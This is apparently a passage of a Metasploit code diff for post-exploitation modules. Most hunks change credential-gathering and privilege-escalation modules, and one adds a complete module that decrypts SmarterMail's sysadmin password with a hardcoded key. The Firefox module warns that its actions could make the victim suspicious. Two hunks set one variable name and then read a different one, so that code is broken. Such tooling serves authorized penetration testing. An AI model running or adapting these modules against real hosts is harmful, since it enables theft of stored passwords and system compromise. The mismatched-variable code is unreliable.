+    unless res
+      print_error("#{rhost} - Connection timed out")
+      return ''
+    end
+
+    case res.code
+    when 204
+      print_error("#{rhost} - You have reached the request limit, please wait for one minute to try again")
+      return ''
+    when 403
+      print_error("#{rhost} - No privilege to execute this request probably due to an invalye API key")
+      return ''
+    end
+
+    body = ''
+    begin
+      body = JSON.parse(res.body)
+    rescue JSON::ParserError
+      print_error("#{rhost} - Unable to parse the response")
+      return body
+    end
+
+    body
+  end
+
+  def show_report(res, filename)
+    md5    = res['md5']    || ''
+    sha1   = res['sha1']   || ''
+    sha256 = res['sha256'] || ''
+
+    print_status("#{rhost} - MD5: #{md5}")       unless md5.blank?
+    print_status("#{rhost} - SHA1: #{sha1}")     unless sha1.blank?
+    print_status("#{rhost} - SHA256: #{sha256}") unless sha256.blank?
+
+    tbl = Rex::Ui::Text::Table.new(
+      'Header'  => "Analysis Report: #{filename} (#{res['positives']} / #{res['total']}): #{res['sha256']}",
+      'Indent'  => 1,
+      'Columns' => ['Antivirus', 'Detected', 'Version', 'Result', 'Update']
+    )
+
+    res['scans'].each do |result|
+      product  = result[0]
+      detected = result[1]['detected'].to_s
+      version  = result[1]['version'] || ''
+      sig_name = result[1]['result']  || ''
+      timestamp = result[1]['update'] || ''
+
+      tbl << [product, detected, version, sig_name, timestamp]
+    end
+
+    report_note({
+      :host => session,
+      :type => 'malware.sample',
+      :data => tbl.to_csv
+    })
+    print_status tbl.to_s
+  end
+
+  def run
+    filename = datastore['REMOTEFILE']
+    api_key  = datastore['APIKEY']
+
+    unless file?(filename)
+      print_error("#{rhost} - File not found: #{filename}")
+      return
+    end
+
+    checksum = file_remote_digestsha1(filename)
+    print_status("#{rhost} - Checking: #{filename}...")
+    report   = get_report(api_key, checksum)
+
+    return if report.blank?
+
+    print_status("#{rhost} - VirusTotal message: #{report['verbose_msg']}")
+    if report['response_code'] == 1
+      show_report(report, File.basename(filename))
+    end
+  end
+
+end
diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb
index 0e138c3680..c7efcf42d5 100644
--- a/modules/post/multi/gather/env.rb
+++ b/modules/post/multi/gather/env.rb
@@ -54,9 +54,8 @@ class Metasploit3 < Msf::Post
       var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
       output = []
       var_names.delete(nil)
-      var_names.flatten.uniq.sort.each do |v|
-        # Emulate the output of set and env, e.g. VAR=VALUE
-        output << "#{v}=#{session.fs.file.expand_path("\%#{v}\%")}"
+      session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v|
+        output << "#{k}=#{v}"
       end
       @output = output.join("\n")
       @ltype = "windows.environment"
diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb
index 85f85f7e17..f9c6b9cf58 100644
--- a/modules/post/multi/gather/filezilla_client_cred.rb
+++ b/modules/post/multi/gather/filezilla_client_cred.rb
@@ -240,7 +240,7 @@ class Metasploit3 < Msf::Post
 
   def whoami
     if @platform == :windows
-      session.fs.file.expand_path("%USERNAME%")
+      session.sys.config.getenv('USERNAME')
     else
       session.shell_command("whoami").chomp
     end
diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb
index cf4bd796fa..0b39193458 100644
--- a/modules/post/multi/gather/firefox_creds.rb
+++ b/modules/post/multi/gather/firefox_creds.rb
@@ -27,14 +27,15 @@ class Metasploit3 < Msf::Post
         keys3.db file which contains the key for decrypting these passwords. In cases where
         a Master Password has not been set, the passwords can easily be decrypted using
         third party tools or by setting the DECRYPT option to true. Using the latter often
-        needs root privileges. If a Master Password was used the only option would be
-        to bruteforce.
+        needs root privileges. Also be warned that if your session dies in the middle of the
+        file renaming process, this could leave Firefox in a non working state. If a
+        Master Password was used the only option would be to bruteforce.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
-            'bannedit',
-            'xard4s' # added decryption support
+          'bannedit',
+          'xard4s' # added decryption support
         ],
       'Platform'       => %w{ bsd linux osx unix win },
       'SessionTypes'   => ['meterpreter', 'shell' ]
@@ -45,6 +46,12 @@ class Metasploit3 < Msf::Post
         OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
       ]
     )
+
+    register_advanced_options(
+      [
+        OptBool.new('DISCLAIMER', [false, 'Acknowledge the warning', false])
+      ]
+    )
     #TODO
     # - Collect cookies.
   end
@@ -68,6 +75,13 @@ class Metasploit3 < Msf::Post
     end
 
     if datastore['DECRYPT']
+      if not datastore['DISCLAIMER']
+              print_warning("Decrypting the keys causes the possible remote Firefox process to be,")
+              print_warning("killed. If the user is paying attention, this could make him/her suspicious.")
+              print_warning("In order to proceed, set the advanced DISCLAIMER option to true.")
+              return
+      end
+
       omnija = nil
       org_file = 'omni.ja'
       new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
@@ -104,6 +118,7 @@ class Metasploit3 < Msf::Post
         return
       end
       print_status("Uploading #{new_file} to #{@paths['ff']}")
+      print_warning("This takes some extra time") if @platform =~ /unix|osx/
       if not upload_file(@paths['ff']+new_file, tmp)
         print_error("Could not upload #{new_file}")
         return
@@ -262,7 +277,6 @@ class Metasploit3 < Msf::Post
   def get_ff_and_loot_path
     @paths = {}
     check_paths = []
-    drive = expand_path("%SystemDrive%")
     loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
 
     case @platform
@@ -271,7 +285,9 @@ class Metasploit3 < Msf::Post
         print_error("You need root privileges on this platform for DECRYPT option")
         return false
       end
-      tmpdir = expand_path("%TEMP%") + "\\"
+      env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
+      tmpdir = env_vars['TEMP'] + "\\"
+      drive = env_vars['SystemDrive']
       # this way allows for more independent use of meterpreter
       # payload (32 and 64 bit) and cleaner code
       check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
@@ -628,9 +644,9 @@ class Metasploit3 < Msf::Post
 
   def whoami
     if @platform == :windows
-      return session.fs.file.expand_path("%USERNAME%")
+      session.sys.config.getenv('USERNAME')
     else
-      return session.shell_command("whoami").chomp
+      session.shell_command("whoami").chomp
     end
   end
 end
diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb
index 66bce0a72c..3f5974cb64 100644
--- a/modules/post/multi/gather/pidgin_cred.rb
+++ b/modules/post/multi/gather/pidgin_cred.rb
@@ -307,7 +307,7 @@ class Metasploit3 < Msf::Post
 
   def whoami
     if @platform == :windows
-      session.fs.file.expand_path("%USERNAME%")
+      session.sys.config.getenv('USERNAME')
     else
       session.shell_command("whoami").chomp
     end
diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb
index 7de9c28c52..a824ce6cb4 100644
--- a/modules/post/multi/gather/resolve_hosts.rb
+++ b/modules/post/multi/gather/resolve_hosts.rb
@@ -15,19 +15,41 @@ class Metasploit3 < Msf::Post
         Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host.
       },
       'License'       => MSF_LICENSE,
-      'Author'        => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
+      'Author'        => [ 'Ben Campbell' ],
       'Platform'      => %w{ win python },
       'SessionTypes'  => [ 'meterpreter' ]
     ))
 
       register_options([
-        OptString.new('HOSTNAMES', [true, 'Comma seperated list of hostnames to resolve.']),
+        OptString.new('HOSTNAMES', [false, 'Comma seperated list of hostnames to resolve.']),
+        OptPath.new('HOSTFILE', [false, 'Line separated file with hostnames to resolve.']),
         OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ])
       ], self.class)
   end
 
   def run
-    hosts = datastore['HOSTNAMES'].split(',')
+
+    hosts = []
+    if datastore['HOSTNAMES']
+      hostnames = datastore['HOSTNAMES'].split(',')
+      hostnames.each do |hostname|
+        hostname.strip!
+          hosts << hostname unless hostname.empty?
+      end
+    end
+
+    if datastore['HOSTFILE']
+      ::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
+         hostname.strip!
+         hosts << hostname unless hostname.empty?
+      end
+    end
+
+    if hosts.empty?
+      fail_with(Failure::BadConfig, "No hostnames to resolve.")
+    end
+
+    hosts.uniq!
 
     if datastore['AI_FAMILY'] == 'IPv4'
       family = AF_INET
@@ -35,10 +57,7 @@ class Metasploit3 < Msf::Post
       family = AF_INET6
     end
 
-    # Clear whitespace
-    hosts.collect{|x| x.strip!}
-
-    print_status("Attempting to resolve '#{hosts.join(', ')}' on #{sysinfo['Computer']}") if not sysinfo.nil?
+    print_status("Attempting to resolve '#{hosts.join(', ')}' on #{sysinfo['Computer']}") if sysinfo
 
     response = client.net.resolve.resolve_hosts(hosts, family)
 
diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb
index 07ff62c480..5f36dcb138 100644
--- a/modules/post/multi/gather/thunderbird_creds.rb
+++ b/modules/post/multi/gather/thunderbird_creds.rb
@@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post
       base = "/Users/#{user}/Library/Thunderbird/Profiles/"
     when /win/
       if session.type =~ /meterpreter/
-        user_profile = session.fs.file.expand_path("%APPDATA%")
+        user_profile = session.sys.config.getenv('APPDATA')
       else
         user_profile = cmd_exec("echo %APPDATA%").strip
       end
diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb
index a3f7a1c3cb..38e2a691bb 100644
--- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb
+++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb
@@ -176,7 +176,7 @@ EOS
     ring0_code.gsub!('TPTP', [pid].pack('V'))
 
     # Create the malicious Keyboard Layout file...
-    tmpdir = session.fs.file.expand_path("%TEMP%")
+    tmpdir = session.sys.config.getenv('TEMP')
     fname = "p0wns.boom"
     dllpath = "#{tmpdir}\\#{fname}"
     fd = session.fs.file.new(dllpath, 'wb')
diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb
index ee8fdd957c..4f71b271c1 100644
--- a/modules/post/windows/escalate/net_runtime_modify.rb
+++ b/modules/post/windows/escalate/net_runtime_modify.rb
@@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post
     paths = []
     services = []
     vuln = ""
-    @temp = session.fs.file.expand_path("%TEMP%")
+    @temp = session.sys.config.getenv('TEMP')
 
     if init_railgun() == :error
       return
diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb
index b99895a3ef..ba731e2032 100644
--- a/modules/post/windows/gather/cachedump.rb
+++ b/modules/post/windows/gather/cachedump.rb
@@ -246,7 +246,7 @@ class Metasploit3 < Msf::Post
   end
 
   def decrypt_hash(edata, nlkm, ch)
-    rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch)
+    rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
     rc4 = OpenSSL::Cipher::Cipher.new("rc4")
     rc4.key = rc4key
     decrypted  = rc4.update(edata)
diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb
index 11f2db0653..fb253f037c 100644
--- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb
+++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb
@@ -233,12 +233,14 @@ class Metasploit3 < Msf::Post
 
     print_status("Searching BulletProof FTP Client installation directory...")
     # BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
-    program_files_x86 = expand_path('%ProgramFiles(X86)%')
-    if not program_files_x86.empty? and program_files_x86 !~ /%ProgramFiles\(X86\)%/
-      program_files = program_files_x86 #x64
+    progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
+    progfilesx86 = prog_files_env['ProgramFiles(X86)']
+    if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
+      program_files = progfilesx86 # x64
     else
-      program_files = expand_path('%ProgramFiles%') #x86
+      program_files = progfiles_env['ProgramFiles'] # x86
     end
+
     session.fs.dir.foreach(program_files) do |dir|
       if dir =~ /BulletProof FTP Client/
         vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb
index 6617c0bd16..e0fbaa22bd 100644
--- a/modules/post/windows/gather/credentials/enum_cred_store.rb
+++ b/modules/post/windows/gather/credentials/enum_cred_store.rb
@@ -107,32 +107,11 @@ class Metasploit3 < Msf::Post
     #check for valid ip and return if it is
     return hostorip if Rex::Socket.dotted_ip?(hostorip)
 
-    #convert hostname to ip and return it
-    hostip = nil
-    if client.platform =~ /^x64/
-      size = 64
-      addrinfoinmem = 32
-    else
-      size = 32
-      addrinfoinmem = 24
-    end
-
     ## get IP for host
-    begin
-      vprint_status("Looking up IP for #{hostorip}")
-      result = client.railgun.ws2_32.getaddrinfo(hostorip, nil, nil, 4 )
-      if result['GetLastError'] == 11001
-        return nil
-      end
-      addrinfo = client.railgun.memread( result['ppResult'], size )
-      ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
-      sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
-      ip = sockaddr[4,4].unpack('N').first
-      hostip = Rex::Socket.addr_itoa(ip)
-    rescue ::Exception => e
-      print_error(e.to_s)
-    end
-    return hostip
+    vprint_status("Looking up IP for #{hostorip}")
+    result = client.net.resolve.resolve_host(hostorip)
+    return result[:ip] if result[:ip]
+    return nil if result[:ip].nil? or result[:ip].empty?
   end
 
   def report_db(cred)
diff --git a/modules/post/windows/gather/credentials/epo_sql.rb b/modules/post/windows/gather/credentials/epo_sql.rb
index 8d06ffcd56..a91a08f04f 100644
--- a/modules/post/windows/gather/credentials/epo_sql.rb
+++ b/modules/post/windows/gather/credentials/epo_sql.rb
@@ -95,25 +95,14 @@ class Metasploit3 < Msf::Post
     end
 
     # resolve IP address for creds reporting
-    #Code borrowed from Rob fuller's dig module
-    if client.platform =~ /^x64/
-      size = 64
-      addrinfoinmem = 32
-    else
-      size = 32
-      addrinfoinmem = 24
-    end
 
-    result = client.railgun.ws2_32.getaddrinfo(database_server_name,nil,nil,4)
-    if result['GetLastError'] == 11001
+    result = client.net.resolve.resolve_host(database_server_name)
+    if result[:ip].nil? or  result[:ip].empty?
       print_error("Could not determine IP of DB - credentials not added to report database")
       return
     end
-    addrinfo = client.railgun.memread( result['ppResult'], size )
-    ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
-    sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
-    ip = sockaddr[4,4].unpack('N').first
-    db_ip = Rex::Socket.addr_itoa(ip)
+
+    db_ip = result[:ip]
 
     print_good("SQL Server: #{database_server_name}")
     print_good("SQL Instance: #{database_instance}")
diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb
index ea254450da..e562129d68 100644
--- a/modules/post/windows/gather/credentials/filezilla_server.rb
+++ b/modules/post/windows/gather/credentials/filezilla_server.rb
@@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post
       return
     end
 
-    drive = session.fs.file.expand_path("%SystemDrive%")
+    drive = session.sys.config.getenv('SystemDrive')
     case session.platform
     when /win64/i
       @progs = drive + '\\Program Files (x86)\\'
@@ -360,6 +360,6 @@ class Metasploit3 < Msf::Post
   end
 
   def whoami
-    return session.fs.file.expand_path("%USERNAME%")
+    return session.sys.config.getenv('USERNAME')
   end
 end
diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb
index 8b700659f0..c4149969f5 100644
--- a/modules/post/windows/gather/credentials/gpp.rb
+++ b/modules/post/windows/gather/credentials/gpp.rb
@@ -10,6 +10,7 @@ require 'msf/core/auxiliary/report'
 
 class Metasploit3 < Msf::Post
   include Msf::Auxiliary::Report
+  include Msf::Post::File
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Registry
 
@@ -22,11 +23,14 @@ class Metasploit3 < Msf::Post
         files containing local user accounts and passwords and decrypts them
         using Microsofts public AES key.
 
+        Cached Group Policy files may be found on end-user devices if the group
+        policy object is deleted rather than unlinked.
+
         Tested on WinXP SP3 Client and Win2k8 R2 DC.
       },
       'License'       => MSF_LICENSE,
       'Author'        =>[
-        'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
+        'Ben Campbell',
         'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
         'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
         'theLightCosine',
@@ -34,10 +38,10 @@ class Metasploit3 < Msf::Post
         ],
       'References'    =>
         [
-          ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
           ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
           ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
-          ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
+          ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
+          ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
         ],
       'Platform'      => [ 'win' ],
       'SessionTypes'  => [ 'meterpreter' ]
@@ -65,11 +69,30 @@ class Metasploit3 < Msf::Post
     fullpaths = []
     cached_domain_controller = nil
 
-    print_status "Checking locally..."
-    locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
+    print_status "Checking for group policy history objects..."
+    # Windows XP environment variable points to the correct folder.
+    # Windows Vista and upwards points to ProgramData!
+    all_users = expand_path("%ALLUSERSPROFILE%")
+
+    if all_users.include? 'ProgramData'
+      all_users.gsub!('ProgramData','Users\\All Users')
+    else
+      all_users = "#{all_users}\\Application Data"
+    end
+
+    cached = get_basepaths("#{all_users}\\Microsoft\\Group Policy\\History", true)
+
+    unless cached.blank?
+      basepaths << cached
+      print_good "Cached Group Policy folder found locally"
+    end
+
+    print_status "Checking for SYSVOL locally..."
+    system_root = expand_path("%SYSTEMROOT%")
+    locals = get_basepaths("#{system_root}\\SYSVOL\\sysvol")
     unless locals.blank?
       basepaths << locals
-      print_good "Group Policy Files found locally"
+      print_good "SYSVOL Group Policy Files found locally"
     end
 
     # If user supplied domains this implicitly cancels the ALL flag.
@@ -153,19 +176,27 @@ class Metasploit3 < Msf::Post
 
   end
 
-  def get_basepaths(base)
+  def get_basepaths(base, cached=false)
     locals = []
     begin
       session.fs.dir.foreach(base) do |sub|
         next if sub =~ /^(\.|\.\.)$/
-        tpath = "#{base}\\#{sub}\\Policies"
-        begin
-          session.fs.dir.foreach(tpath) do |sub2|
-            next if sub =~ /^(\.|\.\.)$/
-            locals << "#{tpath}\\#{sub2}\\"
+
+        # Local GPO are stored in C:\Users\All Users\Microsoft\Group
+        # Policy\History\{GUID}\Machine\etc without \Policies
+        if cached
+          locals << "#{base}\\#{sub}\\"
+        else
+          tpath = "#{base}\\#{sub}\\Policies"
+
+          begin
+            session.fs.dir.foreach(tpath) do |sub2|
+              next if sub2 =~ /^(\.|\.\.)$/
+              locals << "#{tpath}\\#{sub2}\\"
+            end
+          rescue Rex::Post::Meterpreter::RequestError => e
+            print_error "Could not access #{tpath}  : #{e.message}"
           end
-        rescue Rex::Post::Meterpreter::RequestError => e
-          print_error "Could not access #{tpath}  : #{e.message}"
         end
       end
     rescue Rex::Post::Meterpreter::RequestError => e
@@ -177,7 +208,7 @@ class Metasploit3 < Msf::Post
   def find_path(path, xml_path)
     xml_path = "#{path}#{xml_path}"
     begin
-      return xml_path if client.fs.file.stat(xml_path)
+      return xml_path if exist? xml_path
     rescue Rex::Post::Meterpreter::RequestError => e
       # No permissions for this specific file.
       return nil
@@ -186,10 +217,7 @@ class Metasploit3 < Msf::Post
 
   def gpp_xml_file(path)
     begin
-      groups = client.fs.file.new(path,'r')
-      until groups.eof
-        data = groups.read
-      end
+      data = read_file(path)
 
       spath = path.split('\\')
       retobj = {
diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb
new file mode 100644
index 0000000000..1a9e2530d3
--- /dev/null
+++ b/modules/post/windows/gather/credentials/smartermail.rb
@@ -0,0 +1,145 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/auxiliary/report'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Post::File
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'          => 'Windows Gather SmarterMail Password Extraction',
+      'Description'   => %q{
+        This module extracts and decrypts the sysadmin password in the
+        SmarterMail 'mailConfig.xml' configuration file. The encryption
+        key and IV are publicly known.
+
+        This module has been tested successfully on SmarterMail versions
+        10.7.4842 and 11.7.5136.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [
+        'Joe Giron',                           # Discovery and PoC (@theonlyevil1)
+        'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
+        'sinn3r'                               # shell session support
+      ],
+      'References'    =>
+        [
+          ['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/']
+        ],
+      'Platform'      => ['win'],
+      'SessionTypes'  => ['meterpreter', 'shell']
+    ))
+  end
+
+  def r_host
+    if session.type =~ /meterpreter/
+      session.sock.peerhost
+    else
+      session.session_host
+    end
+  end
+
+  def peer
+    if session.type =~ /meterpreter/
+      "#{r_host} (#{sysinfo['Computer']})"
+    else
+      r_host
+    end
+  end
+
+  #
+  # Decrypt DES encrypted password string
+  #
+  def decrypt_des(encrypted)
+    return nil if encrypted.nil?
+    decipher = OpenSSL::Cipher::DES.new
+    decipher.decrypt
+    decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18"
+    decipher.iv  = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f"
+    decipher.update(encrypted) + decipher.final
+  end
+
+  #
+  # Find SmarterMail 'mailConfig.xml' config file
+  #
+  def get_mail_config_path
+    found_path = ''
+    drive = expand_path('%SystemDrive%').strip
+
+    ['Program Files (x86)', 'Program Files'].each do |program_dir|
+      path = %Q|#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip
+      vprint_status "#{peer} - Checking for SmarterMail config file: #{path}"
+      if file?(path)
+        found_path = path
+        break
+      end
+    end
+
+    found_path
+  end
+
+  #
+  # Retrieve username and decrypt encrypted password string from the config file
+  #
+  def get_smartermail_creds(path)
+    result = {}
+    data   = ''
+
+    vprint_status "#{peer} - Retrieving SmarterMail sysadmin password"
+    begin
+      data = read_file(path)
+    rescue Rex::Post::Meterpreter::RequestError => e
+      print_error "#{peer} - Failed to download #{path} - #{e.to_s}"
+      return result
+    end
+
+    if data.blank?
+      print_error "#{peer} - Configuration file is empty."
+      return result
+    end
+
+    username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
+    password = data.match(/<sysAdminPassword>(.+)<\/sysAdminPassword>/)
+    result['username'] = username[1] unless username.nil?
+    result['password'] = decrypt_des(Rex::Text.decode_base64(password[1])) unless password.nil?
+    result
+  end
+
+  #
+  # Find the config file, extract the encrypted password and decrypt it
+  #
+  def run
+    # check for SmartMail config file
+    config_path = get_mail_config_path
+    if config_path.blank?
+      print_error "#{peer} - Could not find SmarterMail config file"
+      return
+    end
+
+    # retrieve username and decrypted password from config file
+    result = get_smartermail_creds(config_path)
+    if result['password'].nil?
+      print_error "#{peer} - Could not decrypt password string"
+      return
+    end
+
+    # report result
+    user = result['username']
+    pass = result['password']
+    print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'"
+    report_auth_info(
+      :host  => r_host,
+      :sname => 'http',
+      :user  => user,
+      :pass  => pass,
+      :source_id   => session.db_record ? session.db_record.id : nil,
+      :source_type => 'vuln')
+  end
+end
diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb
index 4f5b27cd9c..ca44143494 100644
--- a/modules/post/windows/gather/credentials/sso.rb
+++ b/modules/post/windows/gather/credentials/sso.rb
@@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post
       in the database.
           },
       'License'      => MSF_LICENSE,
-      'Author'       => ['Ben Campbell <eat_meatballs[at]hotmail.co.uk>'],
+      'Author'       => ['Ben Campbell'],
       'Platform'     => ['win'],
       'SessionTypes' => ['meterpreter' ]
     ))
diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb
index e5f045fd59..9a0fafa782 100644
--- a/modules/post/windows/gather/credentials/steam.rb
+++ b/modules/post/windows/gather/credentials/steam.rb
@@ -40,10 +40,12 @@ class Metasploit3 < Msf::Post
     # Steam client is only 32 bit so we need to know what arch we are on so that we can use
     # the correct program files folder.
     # We will just use an x64 only defined env variable to check.
-    if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/
-      progs = expand_path('%ProgramFiles(X86)%') #x64
+    progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
+    progfilesx86 = prog_files_env['ProgramFiles(X86)']
+    if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
+      progs = progfilesx86 # x64
     else
-      progs = expand_path('%ProgramFiles%') #x86
+      progs = progfiles_env['ProgramFiles'] # x86
     end
     path = progs + '\\Steam\\config'
 
diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb
index bca7b022b6..3a30aae1d3 100644
--- a/modules/post/windows/gather/credentials/tortoisesvn.rb
+++ b/modules/post/windows/gather/credentials/tortoisesvn.rb
@@ -103,8 +103,7 @@ class Metasploit3 < Msf::Post
   def get_config_files
     # Determine if TortoiseSVN is installed and parse config files
     savedpwds = 0
-    user_appdata = session.fs.file.expand_path("%APPDATA%")
-    path = user_appdata + '\\Subversion\\auth\\svn.simple\\'
+    path = session.fs.file.expand_path("%APPDATA%\\Subversion\\auth\\svn.simple\\")
     print_status("Checking for configuration files in: #{path}")
 
     begin
diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb
index 20f506fba8..3b91655a30 100644
--- a/modules/post/windows/gather/credentials/total_commander.rb
+++ b/modules/post/windows/gather/credentials/total_commander.rb
@@ -107,7 +107,7 @@ class Metasploit3 < Msf::Post
   end
 
   def check_systemroot
-    winpath = expand_path("%SYSTEMROOT%")+'\\wcx_ftp.ini'
+    winpath = expand_path("%SYSTEMROOT%\\wcx_ftp.ini")
     check_other(winpath)
   end
 
diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb
index 953348cb82..c728cc4e0d 100644
--- a/modules/post/windows/gather/credentials/vnc.rb
+++ b/modules/post/windows/gather/credentials/vnc.rb
@@ -98,11 +98,15 @@ class Metasploit3 < Msf::Post
     locations = []
 
     #Checks
-    locations << {:name => 'UltraVNC',
-      :check_file => session.fs.file.expand_path("%PROGRAMFILES%")+'\\UltraVNC\\ultravnc.ini',
-      :pass_variable => 'passwd=',
-      :viewonly_variable => 'passwd2=',
-      :port_variable => 'PortNumber='}
+    progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)')
+    progfiles_env.each do |k, v|
+      next if v.blank?
+      locations << {:name => 'UltraVNC',
+        :check_file => "#{v}\\UltraVNC\\ultravnc.ini",
+        :pass_variable => 'passwd=',
+        :viewonly_variable => 'passwd2=',
+        :port_variable => 'PortNumber='}
+    end
 
     locations << {:name => 'WinVNC3_HKLM',
       :check_reg => 'HKLM\\Software\\ORL\\WinVNC3',
diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb
index cf08f7bba5..fc8d61fb18 100644
--- a/modules/post/windows/gather/credentials/winscp.rb
+++ b/modules/post/windows/gather/credentials/winscp.rb
@@ -237,7 +237,7 @@ class Metasploit3 < Msf::Post
 
   def run
     print_status("Looking for WinSCP.ini file storage...")
-    get_ini(client.fs.file.expand_path("%PROGRAMFILES%")+'\\WinSCP\\WinSCP.ini')
+    get_ini(client.fs.file.expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
     print_status("Looking for Registry Storage...")
     get_reg()
     print_status("Done!")
diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb
index a30e887857..547614c390 100644
--- a/modules/post/windows/gather/dumplinks.rb
+++ b/modules/post/windows/gather/dumplinks.rb
@@ -53,7 +53,8 @@ class Metasploit3 < Msf::Post
     user = session.sys.config.getuid
     userpath = nil
     useroffcpath = nil
-    sysdrv = session.fs.file.expand_path("%SystemDrive%")
+    env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
+    sysdrv = env_vars['SystemDrive']
     if os =~ /Windows 7|Vista|2008/
       userpath = sysdrv + "\\Users\\"
       lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
@@ -76,7 +77,7 @@ class Metasploit3 < Msf::Post
         userinfo = {}
       end
     else
-      uservar = session.fs.file.expand_path("%USERNAME%")
+      uservar = env_vars['USERNAME']
       userinfo['username'] = uservar
       userinfo['userpath'] = userpath + uservar + lnkpath
       userinfo['useroffcpath'] = userpath + uservar + officelnkpath
